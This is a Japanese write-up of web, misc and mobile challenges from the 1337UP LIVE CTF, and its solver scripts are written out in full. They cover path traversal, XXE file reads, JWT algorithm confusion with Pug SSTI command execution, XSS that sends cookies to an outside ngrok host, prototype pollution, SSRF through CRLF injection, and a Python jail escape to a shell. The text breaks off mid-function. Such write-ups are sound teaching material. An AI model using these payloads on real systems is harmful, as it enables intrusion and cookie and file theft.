1337UP LIVE CTF - writeup
来週のSECCONに向けて士気をアゲアゲしに1337 up CTFに参加しました。25位と結果は満足です。
解けたWeb問題と、個人的に面白かった問題のwriteupです。
✅ [Web]Pizza Paradise(100pts 395/1061 クリア率37%)
ソースコードの与えられていない問題。とりあえずなにかヒントはないかと探していると/robots.txt
を発見した。
User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/
/secret_172346606e1d24062e891d537e917a90.html
にアクセスすると、ログイン画面が表示されることを確認した。
試しに適当に入力するとalertが表示されたが、これの反応速度が異様に速かった。これはクライアントのチェックが働いているだろうな、と思いソースを確認するとユーザー名とパスワードのハッシュが書いてあった。
const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";
function getCredentials() {
return {
username: validUsername,
passwordHash: validPasswordHash,
};
}
次のコマンドを使用してSHA256ハッシュを解読してみた。
$ hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt
そうすると、intel420
と一致することが分かった。ログインに成功すると/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php
にリダイレクトされた。
Downloadをクリックすると/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/topsecret1.png
というURLを通してダウンロードが開始された。これを利用してファイルをダウンロードしたい。
/
から始まっていることから、絶対パスでの入力は難しそうである。ディレクトリトラバーサルを利用して、/../../../etc/passwd
を問い合わせると、「File path not allowed!」と返ってくる。
では、/assets/images/../../../../../etc/passwd
のように、「/assets/images」から始まるようにしたらどうかと試してみたら、ダウンロードが開始された。あとは、重要そうなファイルを探し回ってみると、次のファイルでフラグが見つかった。
https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../../../../var/www/html/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php
✅ [Web]BioCorp(100pts 389/1061 クリア率37%)
企業のWebページのようなサイト。ソースコードあり。/flag.txt
にフラグが書いてある。
以下のpanel.phpというファイルがIPチェックやXMLのパースが行われており怪しい。
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
} else {
$xml_data = file_get_contents('data/reactor_data.xml');
$doc = new DOMDocument();
$doc->loadXML($xml_data, LIBXML_NOENT);
}
$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';
include 'header.php';
?>
<!-- snap -->
<li><i class="fas fa-thermometer-half"></i> Temperature: <?php echo htmlspecialchars($temperature); ?> °C</li>
<li><i class="fas fa-tachometer-alt"></i> Pressure: <?php echo htmlspecialchars($pressure); ?> kPa</li>
<li><i class="fas fa-cogs"></i> Control Rods: <?php echo htmlspecialchars($control_rods); ?></li>
</ul>
<!-- snap -->
まず、$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
の値が80.187.61.102
でなければならない。$_SERVER['HTTP_X_BIOCORP_VPN']
は、X-BIOCORP-VPN
というヘッダーの値となる(参考)ので、X-BIOCORP-VPN: 80.187.61.102
のヘッダーを付与すればチェックを突破できる。
次に、file_get_contents('php://input')
で取得された値がloadXML
によってパースされる。loadXML
関数は外部エンティティを処理する設定がデフォルトで有効である。このため、XMLの中で <!ENTITY> を利用して外部ファイルをXXEが可能である。これを利用して/flag.txt
を読み込んだ。
以下のソルバーでフラグゲット。
import requests
URL = "https://biocorp.ctf.intigriti.io/"
# URL = "http://localhost/"
EVIL = "https://tchenio.ngrok.io/"
s = requests.session()
r = s.post(URL + "panel.php", headers={
"X-BIOCORP-VPN": "80.187.61.102",
"Content-Type": "application/xml"
}, data="""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY bar SYSTEM "/flag.txt"> ]>
<reactor>
<status>
<temperature>&bar;</temperature>
<pressure>1337</pressure>
<control_rods>Lowered</control_rods>
</status>
</reactor>
""".strip())
print(r.text)
✅ [Web]Cat Club(100pts 130/1061 クリア率12%)
猫の写真を見ることができるサイト。ソースコードあり。flag_<ランダムな16進数>.txt
にフラグがある。
/cats
では、ユーザー名を利用してpugのSSTIができそうである。
router.get("/cats", getCurrentUser, (req, res) => {
if (!req.user) {
return res.redirect("/login?error=Please log in to view the cat gallery");
}
const templatePath = path.join(__dirname, "views", "cats.pug");
fs.readFile(templatePath, "utf8", (err, template) => {
if (err) {
return res.render("cats");
}
if (typeof req.user != "undefined") {
template = template.replace(/guest/g, req.user);
}
const html = pug.render(template, {
filename: templatePath,
user: req.user,
});
res.send(html);
});
});
ただし、通常のユーザー登録ではユーザー名に[a-zA-Z0-9]
の制約が課されているため、SSTIに必要な特殊文字を含むユーザー名を直接登録することはできない。
const privateKey = fs.readFileSync(path.join(__dirname, "..", "private_key.pem"), "utf8");
const publicKey = fs.readFileSync(path.join(__dirname, "..", "public_key.pem"), "utf8");
function sanitizeUsername(username) {
const usernameRegex = /^[a-zA-Z0-9]+$/;
if (!usernameRegex.test(username)) {
throw new BadRequest("Username can only contain letters and numbers.");
}
return username;
}
ユーザー名はJWTにより管理されているので、JWTを偽装できれば任意の文字列のユーザーを作成できそう。
function signJWT(payload) {
return new Promise((resolve, reject) => {
jwt.encode(privateKey, payload, "RS256", (err, token) => {
if (err) {
return reject(new Error("Error encoding token"));
}
resolve(token);
});
});
}
function verifyJWT(token) {
return new Promise((resolve, reject) => {
if (!token || typeof token !== "string" || token.split(".").length !== 3) {
return reject(new Error("Invalid token format"));
}
jwt.decode(publicKey, token, (err, payload, header) => {
if (err) {
return reject(new Error("Invalid or expired token"));
}
if (header.alg.toLowerCase() === "none") {
return reject(new Error("Algorithm 'none' is not allowed"));
}
resolve(payload);
});
});
}
JWTの作成時は非対称鍵方式であるRS256が使用されているが、認証時はトークンのヘッダーで指定された署名アルゴリズムが利用できる。「None」は明示的に利用できないが、公開鍵から推測した署名鍵を使用し、HS256アルゴリズムで署名したJWTを作成することで認証を回避できる。
公開鍵の情報は、/jwks.json
というエンドポイントからjwksという形式で確認することができる。
router.get("/jwks.json", async (req, res) => {
try {
const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
const publicKeyObj = crypto.createPublicKey(publicKey);
const publicKeyDetails = publicKeyObj.export({ format: "jwk" });
const jwk = {
kty: "RSA",
n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
alg: "RS256",
use: "sig",
};
res.json({ keys: [jwk] });
} catch (err) {
res.status(500).json({ message: "Error generating JWK" });
}
});
この情報から、public_key.pem
のファイルを逆算するコードをChatGPTに書いてもらった。
チートシートによると、pugでは{#<コード>}
の形式を利用してテンプレート内で任意のコードを実行できる。
最終的なコードは以下の通りである。
import jwt
import requests
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
def base64url_decode(data):
return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))
URL = "https://catclub-6.ctf.intigriti.io/"
# URL = "http://localhost:1337/"
s = requests.session()
r = s.get(URL + "jwks.json")
jwks = r.json()['keys'][0]
n = int.from_bytes(base64url_decode(jwks['n']),byteorder='big')
e = int.from_bytes(base64url_decode(jwks['e']),byteorder='big')
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key()
pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
cmd = 'cat /flag*'
payload = {
"username": '''#{global.process.mainModule.constructor._load("child_process").execSync('%s')}''' % cmd
}
token = jwt.encode(payload, pem, algorithm="HS256")
s.cookies['token'] = token
r = s.get(URL + "cats")
print(r.text)
✅ [Web]SafeNotes 2.0(218pts 43/1061 クリア率4.1%)
ノートを保存できるサイト。ソースコードあり。/report
で報告するとbotがクロールしてくるが、そのbotのcookieにフラグがある。
/api/notes/store
にPOSTするとノートが保存され、/api/notes/fetch/<ID>
で確認できるようになっている。/view?note=<ID>
はそのノートを見るためのページで、このページでXSSをすることが最終目標となる。
/view
の内容は次の通り:
function fetchNoteById(noteId) {
// Checking "includes" wasn't sufficient, we need to strip ../ *after* we URL decode
const decodedNoteId = decodeURIComponent(noteId);
const sanitizedNoteId = decodedNoteId.replace(/\.\.[\/\\]/g, '');
fetch("/api/notes/fetch/" + sanitizedNoteId, {
method: "GET",
headers: {
"X-CSRFToken": csrf_token,
},
})
.then((response) => response.json())
.then((data) => {
if (data.content) {
document.getElementById("note-content").innerHTML =
DOMPurify.sanitize(data.content);
document.getElementById("note-content-section").style.display = "block";
showFlashMessage("Note loaded successfully!", "success");
// We've seen suspicious activity on this endpoint, let's log some data for review
logNoteAccess(sanitizedNoteId, data.content);
} else if (data.error) {
showFlashMessage("Error: " + data.error, "danger");
} else {
showFlashMessage("Note doesn't exist.", "info");
}
// Removed the data.debug section, it was vulnerable to XSS!
});
}
function logNoteAccess(noteId, content) {
// Read the current username, maybe we need to ban them?
const currentUsername = document.getElementById("username").innerText;
const username = currentUsername || urlParams.get("name");
// Just in case, it seems like people can do anything with the client-side!!
const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');
fetch("/api/notes/log/" + sanitizedUsername, {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRFToken": csrf_token,
},
body: JSON.stringify({
name: username,
note_id: noteId,
content: content
}),
})
.then(response => response.json())
.then(data => {
// Does the log entry data look OK?
document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2)
document.getElementById("debug-content-section").style.display = "block";
})
.catch(error => console.error("Logging failed:", error));
}
-
noteId
をサニタイズする -
/api/notes/fetch/<ID>
に対してfetchする - 送られてきたデータをDOMPurifyでサニタイズし、
document.getElementById("note-content").innerHTML
に代入する - ユーザー名をサニタイズする
-
/api/notes/log/<ユーザー名>
に対してfetchする - 送られてきたデータを
document.getElementById("debug-content").outerHTML
に代入する
3.のノートの内容でXSSを行うにはDOMPurifyをバイパスする必要があるので、かなり難しい。したがって、6.のログへのPOSTの結果でXSSを行うことを目標とする。
/api/notes/log/<ユーザー名>
の結果は自動生成されたノートのIDとログのIDが返ってくるだけで、XSSに使えそうな内容は返ってこない。しかし、ユーザー名を../../../<任意のパス>
とできれば、URLは/api/notes/log/../../../<任意のパス>
となり、サーバーの任意のパスからfetchすることができるようになる。
これは次のWAFによって防がれているように見える。
const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');
しかし、これはユーザー名を....//....//....//<任意のパス>
のようにすることによって回避できる。これは、置換した結果に../
が出現するようにすると、一度置換した箇所であるため再度置換されないからである。
/contact
というパスにPOSTを行うと、ユーザー名が含まれたJSONが返ってくる。ユーザー名にXSSのペイロードが含まれるようにすることで、XSSが実行される。
@main.route('/contact', methods=['GET', 'POST'])
def contact():
if request.method == 'POST':
if request.is_json:
data = request.get_json()
username = data.get('name')
content = data.get('content')
if not username or not content:
return jsonify({"message": "Please provide both your name and message."}), 400
return jsonify({"message": f'Thank you for your message, {username}. We will be in touch!'}), 200
まとめると、ユーザー名が....//....//....//contact?x=<img src=X onerror=alert(1)>
の状態で/view
を訪れると次のような動作でXSSが行われる。
- サニタイズされて、
sanitizedUsername
が../../../contact?x=<img src=X onerror=alert(1)>
となる -
/api/notes/log/../../../contact?x=<img src=X onerror=alert(1)>
に対してPOSTが行われる。これは/contact
にfetchするのと同様である。 -
{"message": "Thank you for your message, ....//....//....//contact?x=<img src=X onerror=alert(1)>. We will be in touch!"}
というJSONが返却される。 - 上記の内容が
document.getElementById("debug-content").outerHTML
に代入される -
alert(1)
が実行される。
次にユーザー名を任意に指定する方法だが、ユーザー作成時のユーザー名の最大の長さは20文字であるため、上記のようなユーザー名では登録できない。したがって、別の方法をとる必要がある。
logNoteAccess
でユーザー名を取得する箇所をよく読むと、次のようになっている。
const currentUsername = document.getElementById("username").innerText;
const username = currentUsername || urlParams.get("name");
/view?note=<ノートID>&name=<ユーザ名>
でも良さそうに思えるが、ノートをfetchする前に一度URLの書き換えが行われるため、urlParamsを利用することはできない。
function validateAndFetchNote(noteId) {
if (noteId && isValidUUID(noteId.trim())) {
history.pushState(null, "", "?note=" + noteId);
fetchNoteById(noteId);
} else {
showFlashMessage(
"Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.",
"danger"
);
}
}
次に、document.getElementById("username").innerText
の結果を変えることを考える。getElementById
は同じIDの要素が複数ある場合、最初の要素が選択される。<span id="username">{{ username }}</span>
は<div id="note-content" class="note-content"></div>
より後にあるため、作成したノートにIDがusername
の要素が含まれるならば、そちらの値が優先される。
幸いにも、DOMPurifyのデフォルトではIDのアトリビュートは削除されないので、作成するノートの中にユーザー名を記述することで、任意のユーザー名を指定することができる。
以下が最終的なソルバー
import requests
import re
URL = "https://safenotes2-0.ctf.intigriti.io/"
# URL = "http://127.0.0.1/"
EVIL = "https://tchenio.ngrok.io/"
s = requests.session()
r = s.get(URL + "register")
csrf = re.findall(r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.+)">', r.text)[0]
user = {
"username": "foo",
"password": "bar",
"csrf_token": csrf
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
print(r.text)
r = s.post(URL + "api/notes/store", json={
"content": f"<div id='debug-content'></div><div id='username'>....//....//....//contact?x=<img src=X onerror=document.location.assign('{EVIL}'+document.cookie)></div>"
}, headers={
"X-Csrftoken": csrf
})
id = r.json()['note_id']
s.post(URL + '/report', data={
'csrf_token': csrf,
'note_url': f'{URL}view?note={id}',
})
print(r.text)
✅ [Web]WorkBreak(400pts 26/1061 クリア率2.5%)
自分のプロファイルやタスクのパフォーマンスを管理するサイト。ソースコードはないが、「サポートチームのCookieを取得する」という目標が与えられている。
右下のチャット欄に適当な文字を送ると、サポートチームから、「URLを送ってくれたらページを見てチェックするよ」との返信が返ってくる。ページ内でXSSが行えたら、そのURLをここから送信することでCookieを盗むことができそうだ。
ソースコードを読むと、/api/user/profile/<ユーザーID>
からデータを取得して、データを更新している。
const response = await fetch(`/api/user/profile/${userId}`);
const profileData = await response.json();
if (response.ok) {
const userSettings = Object.assign(
{ name: "", phone: "", position: "" },
profileData.assignedInfo
);
if (!profileData.ownProfile) {
editButton.style.display = "none";
} else {
editButton.style.display = "inline-block";
}
emailField.value = profileData.email;
nameField.value = userSettings.name;
phoneField.value = userSettings.phone;
positionField.value = userSettings.position;
userTasks = userSettings.tasks || [];
performanceIframe.addEventListener("load", () => {
performanceIframe.contentWindow.postMessage(userTasks, "*");
});
} else if (response.unauthorized) {
window.location.href = "/login";
} else {
setError(profileData.error);
}
流れとしては、以下の通り。
-
/api/user/profile/<ユーザーID>
から情報を取得する -
Object.assign
を使ってuserSettings
を作成 - フィールドに情報を表示
-
performanceIframe
に、userSettings.tasks
をpostMessage
を通して送信
初期状態では/api/user/profile/<ユーザーID>
の結果にtasks
が含まれていない。また、ソースを読むと、/api/user/settings
にPOSTを行うことでユーザー情報を書き換えることができることがわかる。試しに、
r = s.post(URL + "api/user/settings", json={
'name': "foobar",
"phone": "01201079229",
"position": "xxx",
"tasks": ["foo", "bar"]
})
のように送ってみると、
{"error":"Not Allowed to Modify Tasks"}
という結果が返ってくる。しかし、
r = s.post(URL + "api/user/settings", json={
'name': "foobar",
"phone": "01201079229",
"position": "xxx",
"aaa": "bbb"
})
のように適当なフィールドを送ってから/api/user/profile/<ユーザーID>
に問い合わせると、
{"email":"tepel@a.com","assignedInfo":{"name":"foobar","phone":"01201079229","position":"xxx","aaa":"bbb"},"ownProfile":true}
のように保存されることがわかる。このことから、tasks
が保存できないのは、ブラックリストとしてフィルタリングされているからだとわかる。
したがって、以下のように__proto__
を利用して
r = s.post(URL + "api/user/settings", json={
'name': "foobar",
"phone": "01201079229",
"position": "01201079229",
"__proto__": {
"tasks": ["foo", "bar"]
}
})
のようにPOSTすると、
{"email":"tepel@a.com","assignedInfo":{"name":"foobar","phone":"01201079229","position":"xxx","__proto__": {"tasks": ["foo", "bar"]}},"ownProfile":true}
のようになる。
const userSettings = Object.assign(
{ name: "", phone: "", position: "" },
profileData.assignedInfo
);
が実行されると、プロトタイプチェーンにより、userSettings.tasks
が["foo", "bar"]
となる。これにより、好きな値をperformanceIframe
にpostMessage
できる。
postMessage
された値がどのように処理されるか確認する。
const renderPerformanceChart = (taskData) => {
/* snap */
const today = new Date().toISOString().split("T")[0];
const todayTask = taskData.find((task) => task.date === today);
const todayTasksDiv = d3.select("#todayTasks");
if (todayTask) {
todayTasksDiv.html(`Tasks Completed Today: ${todayTask.tasksCompleted}`);
} else {
todayTasksDiv.html("Tasks Completed Today: 0");
}
/* snap */
};
/* snap */
window.addEventListener(
"message",
(event) => {
if (event.source !== window.parent) return;
renderPerformanceChart(event.data);
},
false
);
task.date
がtoday
と一致する場合、task.tasksCompleted
がHTMLとして埋め込まれる。これを利用して任意のjavascriptを実行できる。
親フレームもpostMessage
を受け取って、その内容をHTMLとして埋め込むことができる。
window.addEventListener(
"message",
(event) => {
if (event.source !== frames[0]) return;
document.getElementById(
"totalTasks"
).innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
},
false
);
以下のソルバーでフラグをゲットした
from base64 import b64encode
import requests
URL = "https://workbreak-4.ctf.intigriti.io/"
EVIL = "https://tchenio.ngrok.io/"
s = requests.session()
r = s.post(URL + 'api/auth/login',json={
'email': 'tepel@a.com',
"password": "p@ssw0rd"
})
print(r.url)
user_id = r.url.split('/')[-1]
payload = f'''
window.parent.postMessage({{
type: "message",
totalTasks: "<img src=X onerror=document.location.assign('{EVIL}'+document.cookie)>"
}}, "*")
'''
r = s.post(URL + "api/user/settings", json={
'name': "foobar",
"phone": "01201079229",
"position": "01201079229",
"__proto__": {
"tasks": [{
"date": '2024-11-16',
'tasksCompleted': f'<img src=X onerror=eval(atob("{b64encode(payload.encode()).decode()}"))>'
}]
}
})
print(r.text)
✅ [Web]Greetings(423pts 23/1061 クリア率2.2%)
web
、node
、flask
という3つのマイクロサービスが動いている。
web
は通常node
に対して問い合わせを行うが、flask
に対してSSRFができればフラグを入手できる。ただし、問い合わせの内容は、
- headerに
Password: admin
を含む -
request.form.get("username")=="admin"
となるようなbodyとContent-Type
を含む
という条件を満たさなければならない。
@app.route("/flag", methods=["GET", "POST"])
def flag():
username = request.form.get("username")
password = request.headers.get("password")
if username and username == "admin" and password and password == "admin":
return os.getenv('FLAG')
return "So close"
``
`web`がリクエストを送る箇所は次のようになっている。
```php:php/src/index.php
<?php
if(isset($_POST['hello']))
{
session_start();
$_SESSION = $_POST;
if(!empty($_SESSION['name']))
{
$name = $_SESSION['name'];
$protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null;
$options = (isset($_SESSION['options']) && !preg_match('/http|file|\\\/i', $_SESSION['options'])) ? $_SESSION['options'] : null;
try {
if(isset($options) && isset($protocol))
{
$context = stream_context_create(json_decode($options, true));
$resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
}
else
{
$resp = @fopen("http://127.0.0.1:3000/$name", 'r', false);
}
if($resp)
{
$content = stream_get_contents($resp);
echo "<div class='greeting-output'>" . htmlspecialchars($content) . "</div>";
fclose($resp);
}
else
{
throw new Exception("Unable to connect to the service.");
}
} catch (Exception $e) {
error_log("Error: " . $e->getMessage());
echo "<div class='greeting-output error'>Something went wrong!</div>";
}
}
}
?>
@fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
という形式でリクエストを行うが、$protocol
と$context
にhttp
やfile
という文字列を含めてはならない、という制約がある。
http
もhttps
も使えないので、サポートするプロトコルの一覧を調べ、代用できそうなプロトコルを探す。
ftp://
のコンテキストオプションを読んでいたら、proxy
オプションを利用することで、HTTPプロキシを経由したリクエストが可能であることがわかった。
proxy string
FTP リクエストを、http プロキシサーバー経由で行う。 ファイルの読み込み操作にのみ適用される。 例: tcp://squid.example.com:8000
次のようなリクエストを送ってみると
import json
import html
import requests
URL = "https://greetings.ctf.intigriti.io/"
s = requests.session()
data = {
"name": "sss",
"protocol": "ftp://127.0.0.1:5000/flag?x=",
"options": json.dumps({
"ftp": {
"proxy": "tcp://127.0.0.1:5000",
},
}),
"hello": ""
}
r = s.post(URL, data=data)
print(r.status_code)
print(html.unescape(r.text))
fopen
で利用されるURLはftp://127.0.0.1:5000/flag?x=://127.0.0.1:3000/sss
となるため、ftp://
が利用された上でホストが127.0.0.1:5000
となる。また、<div class='greeting-output'>So close</div>
と表示されるので、http://127.0.0.1:5000/flag
にGETリクエストが飛んでいることがわかる。
ソースコードを読むと、proxyを指定した場合、そのオプションはhttp://
を利用した場合と同様に利用されるので、
{
"http": {
"header": "Password: admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14",
"content": "username=admin"
},
}
のようなコンテキストを送ればヘッダーやボディを送ることができるが(参考)、これを利用するにはhttp
の文字が含まれてしまうため、この方針は利用できない。
もしかしたらCRLFインジェクションが可能な箇所があるかもしれない、と試行錯誤してみる。
data = {
"name": " HTTP/1.1\r\nPassword: admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14\r\n\r\nusername=admin",
"protocol": "ftp://127.0.0.1:5000/flag?x=",
"options": json.dumps({
"ftp": {
"proxy": "tcp://127.0.0.1:5000",
},
}),
"hello": ""
}
r = s.post(URL, data=data)
のようにリクエストを送ると、fopenに利用される文字列は、
ftp://127.0.0.1:5000/flag?x=://127.0.0.1:3000/ HTTP/1.1
Password: admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=admin
のようになり、これがproxyを通すと、
GET ftp://127.0.0.1:5000/flag?x=://127.0.0.1:3000/ HTTP/1.1
Password: admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=admin HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
のような有効なHTTPリクエストとなる。これは、ヘッダーとボディの条件を満たすので、フラグが返ってくる。
✅ [Misc]Triage Bot v2(100pts 92/1061 クリア率8.8%)
Intigriti(CTFの開催団体)のDiscordでTriageBotというBotが動いている。いくつかのコマンドがあるが、!read_report
というコマンドを実行すると、権限がないというエラーが出力される。どうにかしてこの制約を回避したい。
エラーを見ると、triage
というロールが付与されていれば良いらしいが、IntigritiのDiscord内ではこのロールを自分に付与することができない。
このBotを自分で作成したDiscordサーバーに招待してみる。
- 解説ページを参考に、botのユーザーIDを取得する。
-
https://discord.com/oauth2/authorize?client_id=<BOTのID>&permissions=8&scope=bot
というURLにアクセスする(参考) - discord上でポップアップが表示されるので、自分のサーバーに招待する
自分のサーバーであれば、自由にロールを付与できるので、自分自身にtriage
というロールを付与して!read_report
を実行すると、ランダムなレポートが表示された。!read_report <ID>
で指定のIDのレポートが見れることが分かったので、!read_report 0
を実行してみると、フラグが得られた。
✅ [Misc]Monkey's Paw(384pts 28/1061 クリア率2.6%)
なななんとfirst bloodいただきました!
pyjail問題。以下の条件を満たす文字列を実行してくれる。
- 属性名や変数名の最初と最後の4文字が
_
である -
'"
がどちらも含まれない。(というのは、嘘で'"
と連続した文字列が含まれなければ良い。今これを書いてる途中で気がついた。)
#!/usr/local/bin/python3.13 -S
def die():
print("Don't be greedy")
exit(1)
def check_code(code):
to_check = ["co_consts", "co_names",
"co_varnames", "co_freevars", "co_cellvars"]
for attr in to_check:
for obj in getattr(code, attr):
if type(obj) is not str or \
len(obj) < 5 or \
obj[:2] + obj[-2:] != '____':
die()
code = input("Be careful what you wish for: ")
if "\"'" in code:
die()
code = compile(code, "<string>", "eval")
check_code(code)
print(eval(code, {'__builtins__': {}}))
直接__import__
やexec
などの関数を利用することはできないので、よくある__builtins__
が空の状態でも__builtins__
にアクセスする一般的な手法を使用する
[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__
を利用したい。
0
は利用できないが、[].__len__()
が0を返すので、これを利用できる。
<ABCMeta>.register
のような要素へのアクセスは、register
が_
で囲われていないためできない。したがって、<ABCMeta>.__dict__['register']
のように実行したい。しかし、この場合も文字列が利用できないことがネックとなる。
そこで、<ABCMeta>.__dict__.__iter__()
を実行すると、辞書のキーを羅列するイテレーターが生成されることを利用する。
変数名の制約を満たすため、__iter__()
から得たイテレータを__bizbaz__
という変数にセイウチ代入式を利用して代入し、__bizbaz__.__next__()
が'register'
となるまで繰り返し実行することで、<ABCMeta>.__dict__['register']
を取得することができる。
<ABCMeta>.__dict__['register'].__builtins__
までアクセスできたあとは、これも辞書型なので同様の方法でexec
とinput
にアクセスし、exec(input())
を実行する。
以下のコードを送信したあと、__import__('os').system('sh')
を実行するとシェルが得られるので、cat /flag*
を実行してフラグを入手できる。
code = """
[__foobar__:=[].__class__.__class__.__subclasses__([].__class__.__class__)[[].__len__()].__dict__,
__bizbaz__:=__foobar__.__iter__(),
__bizbaz__.__next__(),
__bizbaz__.__next__(),
__bizbaz__.__next__(),
__builtins__:=__foobar__[__bizbaz__.__next__()].__builtins__,
__biters__:=__builtins__.__iter__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__exec__:=__builtins__[__biters__.__next__()],
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__exec__(__builtins__[__biters__.__next__()]())]""".replace("\n", "")
print(code)
✅ [Mobile]Cold Storage(100pts 126/1061 クリア率12%)
(Android持ってないし、エミュレーターも準備してないけど、なしでも解析方法が分かってきたので覚書。頼むからreCAPTCHAを貼らないでください)
apkファイルが配布される。jadx-gui
を利用して解析する。
まずは、Resources/AndroidManifest.xml
を確認する。注目すべきはmanifest/application/activity
の内容
<activity
android:theme="@style/Theme.App.SplashScreen"
android:label="@string/activity_name"
android:name="com.example.cryptoVault.MainActivity"
android:exported="true"
android:launchMode="singleTop"
android:configChanges="smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden|keyboard|locale"
android:windowSoftInputMode="adjustResize">
<intent-filter android:label="@string/launcher_name">
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
この内容から、最初に実行されるのがcom.example.cryptoVault.MainActivity
というクラスであることがわかる。
package com.example.cryptoVault;
import android.os.Bundle;
import org.apache.cordova.CordovaActivity;
/* loaded from: classes.dex */
public class MainActivity extends CordovaActivity {
@Override // org.apache.cordova.CordovaActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
Bundle extras = getIntent().getExtras();
if (extras != null && extras.getBoolean("cdvStartInBackground", false)) {
moveTaskToBack(true);
}
loadUrl(this.launchUrl);
}
}
CordovaActivity
というクラスを継承していることから、Cordovaを利用したアプリケーションであることがわかる。これは、HTML/CSS/JSを利用して動くアプリケーションを作成するフレームワークみたいだ。
ChatGPTに聞いたところ、Resourcesのassets/www
下に利用されるHTML/CSS/JSがあるらしい。見てみると、次のようなファイルが見つかった
<!DOCTYPE html>
<html lang="en">
<!-- snap -->
<script type="text/javascript" src="cordova.js"></script>
<script src="js/keygen.js"></script>
<script>
function unlockVault() {
var pin = document.getElementById("pin").value.trim();
if (pin === "7331") {
document.getElementById("message").innerText = "Correct PIN!";
document.getElementById("message").style.color = "green";
document.getElementById("keyList").style.display = "block";
retrieveencryptedKey();
} else {
document.getElementById("message").innerText = "Invalid PIN!";
document.getElementById("message").style.color = "red";
document.getElementById("keyList").style.display = "none";
}
}
function retrieveencryptedKey() {
var keyInput = document.getElementById("encryptedKey");
var encryptedKey = keygen();
keyInput.value = encryptedKey;
document.getElementById("message").innerText = "Please use your standalone decryption device to complete the recovery!";
document.getElementById("message").style.color = "blue";
}
/* snap */
</script>
</body>
</html>
keygen.js
は難読化されていたが、deobfuscatorを利用して、読みやすくした。
function affineEncrypt(_0x1930bc, _0x36e79b, _0x33477e) {
return (_0x36e79b * _0x1930bc + _0x33477e) % 0x100;
}
function xor(_0x3a38fa, _0x3c3309) {
return _0x3a38fa ^ _0x3c3309;
}
function hexToBytes(_0x1d9eb0) {
let _0x2ac99a = [];
for (let _0x2363dc = 0x0; _0x2363dc < _0x1d9eb0.length; _0x2363dc += 0x2) {
_0x2ac99a.push(parseInt(_0x1d9eb0.substr(_0x2363dc, 0x2), 0x10));
}
return _0x2ac99a;
}
function reverseString(_0x22dcba) {
return _0x22dcba.split('').reverse().join('');
}
function keygen() {
